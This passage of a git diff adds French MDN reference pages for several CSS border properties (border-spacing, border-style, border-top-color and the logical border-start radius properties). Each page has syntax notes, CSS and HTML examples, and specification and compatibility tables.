+<pre class="brush: css">.exemple {
+  border-right: 3px dotted orange;
+} </pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p class="exemple"&gt;
+  En passant elle prit sur un rayon un pot
+  de confiture portant cette étiquette,
+  « MARMELADE D’ORANGES. »
+&lt;/p&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","200","150")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#border-right', 'border-right')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>Pas de modification directe bien que la modification de valeurs pour {{cssxref("border-right-color")}} s'applique.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'box.html#propdef-border-right', 'border-right')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Aucune modification significative.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#border-right', 'border-right')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<div>{{cssinfo}}</div>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.border-right")}}</p>
diff --git a/files/fr/web/css/border-spacing/index.html b/files/fr/web/css/border-spacing/index.html
new file mode 100644
index 0000000000..b40da3aece
--- /dev/null
+++ b/files/fr/web/css/border-spacing/index.html
@@ -0,0 +1,137 @@
+---
+title: border-spacing
+slug: Web/CSS/border-spacing
+tags:
+  - CSS
+  - Propriété
+  - Reference
+  - Tableaux CSS
+translation_of: Web/CSS/border-spacing
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>border-spacing</code></strong> définit la distance qu'il y a entre les bordures de cellules adjacentes d'un tableau (uniquement lorsque {{cssxref("border-collapse")}} vaut <code>separate</code>). Cette propriété est équivalente à l'attribut HTML déprécié {{htmlattrxref("cellspacing","table")}} mais une deuxième valeur peut être utilisée afin d'obtenir un espacement vertical différent de l'espacement horizontal.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-spacing.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>La valeur de <code>border-spacing</code> est également utilisée le long du bord extérieur du tableau, où la distance entre la bordure du tableau et les cellules dans la première/dernière colonne ou ligne est la somme du <code>border-spacing</code> approprié (horizontal ou vertical) et du {{cssxref("padding")}} correspondant (top, right, bottom ou left).</p>
+
+<div class="note">
+<p><strong>Note</strong> : La propriété <code>border-spacing</code> équivaut à l'attribut déprécié <code>cellspacing</code> de l'élément <code>&lt;table&gt;</code>, sauf qu'il possède une seconde valeur optionnelle qui peut être utilisée pour définir différents espacements horizontaux et verticaux.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css  no-line-numbers">/* Une valeur de longueur */
+/* Type &lt;length&gt;         */
+border-spacing: 2px;
+
+/* La première valeur indique */
+/* l'espacement horizontal et */
+/* la seconde le vertical.    <em>*/</em>
+border-spacing: 1cm 2em;
+
+/* Valeurs globales */
+border-spacing: inherit;
+border-spacing: initial;
+border-spacing: unset;
+</pre>
+
+<p>La propriété <code>border-spacing</code> peut être définie avec une ou deux valeurs :</p>
+
+<ul>
+ <li>Avec une valeur de type {{cssxref("&lt;length&gt;")}}, la valeur est utilisée pour l'espacement vertical ainsi que pour l'espacement horizontal.</li>
+ <li>Avec deux valeurs de type {{cssxref("&lt;length&gt;")}}, la première définit l'espacement horizontal (entre les colonnes) et la seconde définit l'espacement vertical (entre les lignes).</li>
+</ul>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>length</code></dt>
+ <dd>Une valeur de longueur ({{cssxref("&lt;length&gt;")}} qui décrit l'espacement entre les cellules.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">table {
+  border-collapse: separate;
+  border: 1px solid #000;
+}
+
+td {
+  border: 1px solid #000;
+  padding: 5px;
+}
+
+.unevaleur {
+  border-spacing: 5px;
+}
+
+.deuxvaleurs {
+  border-spacing: 5px 10px;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;table class="unevaleur"&gt;
+  &lt;tr&gt;
+    &lt;td&gt;Ces cellules&lt;/td&gt;
+    &lt;td&gt;sont séparées par 5px&lt;/td&gt;
+    &lt;td&gt;tout autour.&lt;/td&gt;
+  &lt;/tr&gt;
+&lt;/table&gt;
+&lt;br /&gt;
+&lt;table class="deuxvaleurs"&gt;
+  &lt;tr&gt;
+    &lt;td&gt;Ces cellules&lt;/td&gt;
+    &lt;td&gt;sont séparées par 5px d'écart horizontal&lt;/td&gt;
+    &lt;td&gt;et 10px d'écart vertical.&lt;/td&gt;
+  &lt;/tr&gt;
+&lt;/table&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","300","300")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'tables.html#separated-borders', 'border-spacing')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.border-spacing")}}</p>
+
+<h2 id="Voir_auss">Voir auss</h2>
+
+<ul>
+ <li>{{cssxref("border-collapse")}}</li>
+ <li>{{cssxref("border-style")}}</li>
+ <li>L'élément HTML {{htmlelement("table")}}</li>
+</ul>
diff --git a/files/fr/web/css/border-start-end-radius/index.html b/files/fr/web/css/border-start-end-radius/index.html
new file mode 100644
index 0000000000..958bb9fda2
--- /dev/null
+++ b/files/fr/web/css/border-start-end-radius/index.html
@@ -0,0 +1,107 @@
+---
+title: border-start-end-radius
+slug: Web/CSS/border-start-end-radius
+tags:
+  - CSS
+  - Experimental
+  - Propriété
+  - Propriété logique
+  - Reference
+translation_of: Web/CSS/border-start-end-radius
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propriété <strong><code>border-start-end-radius</code></strong> définit le rayon de courbure de la bordure pour un angle d'un élément. Cette propriété logique correspond à une propriété physique de rayon de bordure selon la directionalité du texte et le mode d'écriture. Autrement dit, cette propriété concerne un angle différent selon les valeurs des propriétés {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}.</p>
+
+<pre class="brush:css no-line-numbers">/* Valeurs de longueur */
+/* Type &lt;length&gt; */
+/* Avec une valeur, le coin sera circulaire */
+border-start-end-radius: 10px;
+border-start-end-radius: 1em;
+
+/* Avec deux valeurs, le coin sera une ellipse */
+border-start-end-radius: 1em 2em;
+
+/* Valeurs globales */
+border-start-end-radius: inherit;
+border-start-end-radius: initial;
+border-start-end-radius: unset;
+</pre>
+
+<p>Ainsi, avec un mode d'écriture <code>horizontal-tb</code>, cette propriété logique correspondra à la propriété physique {{CSSxRef("border-bottom-left-radius")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;length-percentage&gt;</code></dt>
+ <dd>Cette valeur exprime le rayon de courbure ou les demi-axes d'une ellipse. Pour les valeurs qui expriment une longueur, on peut utiliser n'importe quelle valeur du type de donnée {{cssxref("&lt;length&gt;")}}. Les pourcentages sur l'axe horizontal sont relatifs à la largeur de la boîte et à la hauteur de la boîte pour l'axe vertical. Les valeurs négatives sont invalides.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{CSSSyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div {
+  background-color: rebeccapurple;
+  width: 120px;
+  height: 120px;
+  border-start-end-radius: 10px;
+}
+
+.texteExemple {
+  writing-mode: vertical-rl;
+  padding: 10px;
+  background-color: #fff;
+  border-start-end-radius: 10px;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="texteExemple"&gt;Exemple&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", 140, 140)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-border-start-end-radius", "border-start-end-radius")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{CSSInfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.border-start-end-radius")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>La propriété physique correspondante : {{CSSxRef("border-bottom-left-radius")}}</li>
+ <li>{{CSSxRef("writing-mode")}}, {{CSSxRef("direction")}}, {{CSSxRef("text-orientation")}}</li>
+</ul>
diff --git a/files/fr/web/css/border-start-start-radius/index.html b/files/fr/web/css/border-start-start-radius/index.html
new file mode 100644
index 0000000000..89501028b0
--- /dev/null
+++ b/files/fr/web/css/border-start-start-radius/index.html
@@ -0,0 +1,107 @@
+---
+title: border-start-start-radius
+slug: Web/CSS/border-start-start-radius
+tags:
+  - CSS
+  - Experimental
+  - Propriété
+  - Propriété logique
+  - Reference
+translation_of: Web/CSS/border-start-start-radius
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propriété <strong><code>border-start-start-radius</code></strong> définit le rayon de courbure de la bordure pour un angle d'un élément. Cette propriété logique correspond à une propriété physique de rayon de bordure selon la directionalité du texte et le mode d'écriture. Autrement dit, cette propriété concerne un angle différent selon les valeurs des propriétés {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}.</p>
+
+<pre class="brush:css no-line-numbers">/* Valeurs de longueur */
+/* Type &lt;length&gt; */
+/* Avec une valeur, le coin sera circulaire */
+border-start-start-radius: 10px;
+border-start-start-radius: 1em;
+
+/* Avec deux valeurs, le coin sera une ellipse */
+border-start-start-radius: 1em 2em;
+
+/* Valeurs globales */
+border-start-start-radius: inherit;
+border-start-start-radius: initial;
+border-start-start-radius: unset;
+</pre>
+
+<p>Ainsi, avec un mode d'écriture <code>horizontal-tb</code>, cette propriété logique correspondra à la propriété physique {{CSSxRef("border-top-left-radius")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;length-percentage&gt;</code></dt>
+ <dd>Cette valeur exprime le rayon de courbure ou les demi-axes d'une ellipse. Pour les valeurs qui expriment une longueur, on peut utiliser n'importe quelle valeur du type de donnée {{cssxref("&lt;length&gt;")}}. Les pourcentages sur l'axe horizontal sont relatifs à la largeur de la boîte et à la hauteur de la boîte pour l'axe vertical. Les valeurs négatives sont invalides.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{CSSSyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div {
+background-color: rebeccapurple;
+width: 120px;
+height: 120px;
+  border-start-start-radius: 10px;
+}
+
+.texteExemple {
+writing-mode: vertical-rl;
+padding: 10px;
+background-color: #fff;
+  border-start-start-radius: 10px;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+&lt;p class="texteExemple"&gt;Exemple&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", 140, 140)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-border-start-start-radius", "border-start-start-radius")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{CSSInfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.border-start-start-radius")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>La propriété physique correspondante : {{CSSxRef("border-top-left-radius")}}</li>
+ <li>{{CSSxRef("writing-mode")}}, {{CSSxRef("direction")}}, {{CSSxRef("text-orientation")}}</li>
+</ul>
diff --git a/files/fr/web/css/border-style/index.html b/files/fr/web/css/border-style/index.html
new file mode 100644
index 0000000000..2ff9885747
--- /dev/null
+++ b/files/fr/web/css/border-style/index.html
@@ -0,0 +1,247 @@
+---
+title: border-style
+slug: Web/CSS/border-style
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/border-style
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété CSS <strong><code>border-style</code></strong> est une <a href="/fr/docs/Web/CSS/Propri%C3%A9t%C3%A9s_raccourcies">propriété raccourcie</a> qui permet de définir le style des lignes utilisées pour les bordures des quatre côtés de la boîte d'un élément.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-style.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css no-line-numbers">/* Valeurs avec un mot-clé */
+border-style: none;
+border-style: hidden;
+border-style: dotted;
+border-style: dashed;
+border-style: solid;
+border-style: double;
+border-style: groove;
+border-style: ridge;
+border-style: inset;
+border-style: outset;
+
+/*  côtés horizontaux | côtés verticaux */
+border-style: dotted solid;
+
+/* haut | côtés verticaux | bas */
+border-style: hidden double dashed;
+
+/* haut | droite | bas | gauche */
+border-style: none solid dotted dashed;
+
+/* Valeurs globales */
+border-style: inherit;
+border-style: initial;
+border-style: unset;
+</pre>
+
+<div class="note"><strong>Note :</strong> La valeur par défaut de <code>border-style</code> est <code>none</code>. Cela signifie que si on modifie {{cssxref("border-width")}} et {{cssxref("border-color")}}, on ne verra pas la bordure tant que cette propriété n'est pas différente de <code>none</code> ou de <code>hidden</code>.</div>
+
+<p>La propriété <code>border-style</code> peut être définie avec une, deux, trois ou quatre valeurs :</p>
+
+<ul>
+ <li><strong>Avec une valeur</strong>, celle-ci s'applique aux quatre côté</li>
+ <li><strong>Avec deux valeurs</strong>, la première s'applique aux côté haut et bas et la seconde aux côtés gauche et droit</li>
+ <li><strong>Avec trois valeurs</strong>, la première s'applique au côté haut, la deuxième aux côtés gauche et droit puis la troisième au côté bas</li>
+ <li><strong>Avec quatre valeurs</strong>, les valeurs s'applique dans le sens des aiguilles d'une montre (la première sur le côté haut, la deuxième sur le côté droit, la troisième sur le côté bas et la quatrième sur le côté gauche).</li>
+</ul>
+
+<p>Chacune des valeurs peut être un des mots-clés parmi la liste suivante.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;line-style&gt;</code></dt>
+ <dd>Un mot-clé qui décrit le style utilisé pour la bordure sur les côtés de la boîte. Ce mot-clé peut prendre l'une des valeurs suivantes :
+ <table class="standard-table">
+  <tbody>
+   <tr>
+    <td><code>none</code></td>
+    <td>
+     <div style="border-width: 3px; margin: 0.5em; width: 3em; height: 3em; background-color: palegreen;"> </div>
+    </td>
+    <td>L'effet obtenu est le même qu'avec <code>hidden</code> : aucune bordure n'est affichée. Dans ce cas, sauf si une image d'arrière-plan est définie, la valeur calculée de {{cssxref("border-width")}} sera <code>0</code>, même si cette dernière indique une autre valeur. Lorsqu'utilisée sur une cellule d'un tableau avec la fusion des bordures, <code>none</code> a la priorité la plus basse donc si une autre bordure est définie et fusionne avec celle-ci, elle sera  affichée.</td>
+   </tr>
+   <tr>
+    <td><code>hidden</code></td>
+    <td>
+     <div style="border-width: 3px; border-style: hidden; margin: 0.5em; width: 3em; height: 3em; background-color: palegreen;"> </div>
+    </td>
+    <td>L'effet obtenu est le même qu'avec <code>none</code> : aucune bordure n'est affichée. Dans ce cas, sauf si une image d'arrière-plan est définie, la valeur calculée de {{cssxref("border-width")}} sera <code>0</code>, même si cette dernière indique une autre valeur. Lorsqu'utilisée sur une cellule d'un tableau avec la fusion des bordures, <code>hidden</code> a la plus haute priorité et donc si une autre bordure est définie et fusionne avec celle-ci, aucune ne sera  affichée.</td>
+   </tr>
+   <tr>
+    <td><code>dotted</code></td>
+    <td>
+     <div style="border-width: 3px; border-style: dotted; margin: 0.5em; width: 3em; height: 3em; background-color: palegreen;"> </div>
+    </td>
+    <td>Affiche une série de points ronds. L'espace entre ces points n'est pas défini par la spécification et est donc laissé à l'implémentation. Le rayon des points correspond à la moitié de {{cssxref("border-width")}}.</td>
+   </tr>
+   <tr>
+    <td><code>dashed</code></td>
+    <td>
+     <div style="border-width: 3px; border-style: dashed; margin: 0.5em; width: 3em; height: 3em; background-color: palegreen;"> </div>
+    </td>
+    <td>Affiche une série de tirets. La taille de ces tirets n'est pas définie par la spécification et est laissée à l'implémentation.</td>
+   </tr>
+   <tr>
+    <td><code>solid</code></td>
+    <td>
+     <div style="border-width: 3px; border-style: solid; margin: 0.5em; width: 3em; height: 3em; background-color: palegreen;"> </div>
+    </td>
+    <td>Affiche une ligne droite continue.</td>
+   </tr>
+   <tr>
+    <td><code>double</code></td>
+    <td>
+     <div style="border-width: 3px; border-style: double; margin: 0.5em; width: 3em; height: 3em; background-color: palegreen;"> </div>
+    </td>
+    <td>Deux lignes droites sont affichées dont la somme des épaisseurs correspond à la valeur fournie par {{cssxref("border-width")}}.</td>
+   </tr>
+   <tr>
+    <td><code>groove</code></td>
+    <td>
+     <div style="border-width: 3px; border-style: groove; margin: 0.5em; width: 3em; height: 3em; background-color: palegreen;"> </div>
+    </td>
+    <td>La bordure crée un effet 3D donnant l'impression qu'elle a été gravée dans le document. On obtient un effet opposé à <code>ridge</code>.</td>
+   </tr>
+   <tr>
+    <td><code>ridge</code></td>
+    <td>
+     <div style="border-width: 3px; border-style: ridge; margin: 0.5em; width: 3em; height: 3em; background-color: palegreen;"> </div>
+    </td>
+    <td>La bordure crée un effet 3D donnant l'impression que la bordure ressort du document. L'effet obtenu est opposé à celui obtenu avec <code>groove</code>.</td>
+   </tr>
+   <tr>
+    <td><code>inset</code></td>
+    <td>
+     <div style="border-width: 3px; border-style: inset; margin: 0.5em; width: 3em; height: 3em; background-color: palegreen;"> </div>
+    </td>
+    <td>La bordure crée un effet 3D qui donne l'impression que la boîte est renfoncée dans le document (l'effet obtenu est opposé à celui obtenu avec <code>outset</code>). Lorsqu'elle est appliquée sur une cellule de tableau et que {{cssxref("border-collapse")}} vaut <code>collapsed</code>, cette valeur se comporte comme <code>groove</code>.</td>
+   </tr>
+   <tr>
+    <td><code>outset</code></td>
+    <td>
+     <div style="border-width: 3px; border-style: outset; margin: 0.5em; width: 3em; height: 3em; background-color: palegreen;"> </div>
+    </td>
+    <td>
+     <p>La bordure crée un effet 3D qui fait ressortir la boîte (l'effet est opposé à <code>inset</code>). Lorsqu'elle est utilisé sur une cellule de tableau avec {{cssxref("border-collapse")}} qui vaut <code>collapsed</code>, cette valeur se comporte comme <code>ridge</code>.</p>
+    </td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">/* On définit la mise en forme */
+/* du tableau.                 */
+table {
+    border-width: 3px;
+    background-color: #52E396;
+}
+tr, td {
+    padding: 2px;
+}
+
+/* voici des classes pour les exemples */
+.b1 {border-style:none;}
+.b2 {border-style:hidden;}
+.b3 {border-style:dotted;}
+.b4 {border-style:dashed;}
+.b5 {border-style:solid;}
+.b6 {border-style:double;}
+.b7 {border-style:groove;}
+.b8 {border-style:ridge;}
+.b9 {border-style:inset;}
+.b10 {border-style:outset;}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;table&gt;
+    &lt;tr&gt;
+        &lt;td class="b1"&gt;none&lt;/td&gt;
+        &lt;td class="b2"&gt;hidden&lt;/td&gt;
+        &lt;td class="b3"&gt;dotted&lt;/td&gt;
+        &lt;td class="b4"&gt;dashed&lt;/td&gt;
+    &lt;/tr&gt;
+    &lt;tr&gt;
+        &lt;td class="b5"&gt;solid&lt;/td&gt;
+        &lt;td class="b6"&gt;double&lt;/td&gt;
+        &lt;td class="b7"&gt;groove&lt;/td&gt;
+        &lt;td class="b8"&gt;ridge&lt;/td&gt;
+    &lt;/tr&gt;
+    &lt;tr&gt;
+        &lt;td class="b9"&gt;inset&lt;/td&gt;
+        &lt;td class="b10"&gt;outset&lt;/td&gt;
+    &lt;/tr&gt;
+&lt;/table&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples', 300, 200)}}</p>
+
+<h2 id="Spécific​ations">Spécific​ations</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#border-style', 'border-style')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>Aucune modification.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'box.html#propdef-border-style', 'border-style')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Ajout du mot-clé <code>hidden</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#border-style', 'border-style')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.border-style")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les autres propriétés raccourcies liées aux bordures :
+  <ul>
+   <li>{{cssxref("border")}},</li>
+   <li>{{cssxref("border-width")}},</li>
+   <li>{{cssxref("border-color")}},</li>
+   <li>{{cssxref("border-radius")}}.</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/fr/web/css/border-top-color/index.html b/files/fr/web/css/border-top-color/index.html
new file mode 100644
index 0000000000..e3a877462e
--- /dev/null
+++ b/files/fr/web/css/border-top-color/index.html
@@ -0,0 +1,128 @@
+---
+title: border-top-color
+slug: Web/CSS/border-top-color
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/border-top-color
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>border-top-color</code></strong> définit la couleur utilisée pour la bordure haute d'un élément.</p>
+
+<p>Pour avoir une formulation plus concise, on pourra utiliser les propriétés raccourcies {{cssxref("border-color")}} et/ou {{cssxref("border-top")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-top-color.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Valeurs de type &lt;color&gt; */
+border-top-color: red;
+border-top-color: #ffbb00;
+border-top-color: rgb(255, 0, 0);
+border-top-color: hsla(100%, 50%, 25%, 0.75);
+border-top-color: currentColor;
+border-top-color: transparent;
+
+/* Valeurs globales */
+border-top-color: inherit;
+border-top-color: initial;
+border-top-color: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;color&gt;</code></dt>
+ <dd>Une valeur de couleur (type {{cssxref("&lt;color&gt;")}}) qui décrit la couleur utilisée pour la bordure du côté haut.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.maboite {
+  border: solid 0.3em gold;
+  border-top-color: red;
+  width: auto;
+}
+
+.texterouge {
+  color: red;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div class="maboite"&gt;
+  &lt;p&gt;Une boîte avec une bordure autour.
+     Notez le côté de la boîte qui est
+     &lt;span class="texterouge"&gt;rouge&lt;/span&gt;.&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples')}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#border-top-color', 'border-top-color')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>Pas de modification significative, la valeur <code>transparent</code> a été supprimée car elle fait désormais partie du type {{cssxref("&lt;color&gt;")}} qui a été étendu.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'box.html#propdef-border-top-color', 'border-top-color')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.border-top-color")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les propriétés raccourciées liées aux bordures
+  <ul>
+   <li>{{cssxref("border")}},</li>
+   <li>{{cssxref("border-top")}},</li>
+   <li>{{cssxref("border-color")}}.</li>
+  </ul>
+ </li>
+ <li>Les propriétés de couleur pour les autres bordures :
+  <ul>
+   <li>{{cssxref("border-right-color")}},</li>
+   <li>{{cssxref("border-bottom-color")}},</li>
+   <li>{{cssxref("border-left-color")}}.</li>
+  </ul>
+ </li>
+ <li>Les autres propriétés liées à la bordure du haut :
+  <ul>
+   <li>{{cssxref("border-top-style")}},</li>
+   <li>{{cssxref("border-top-width")}}.</li>
+  </ul>
+ </li>
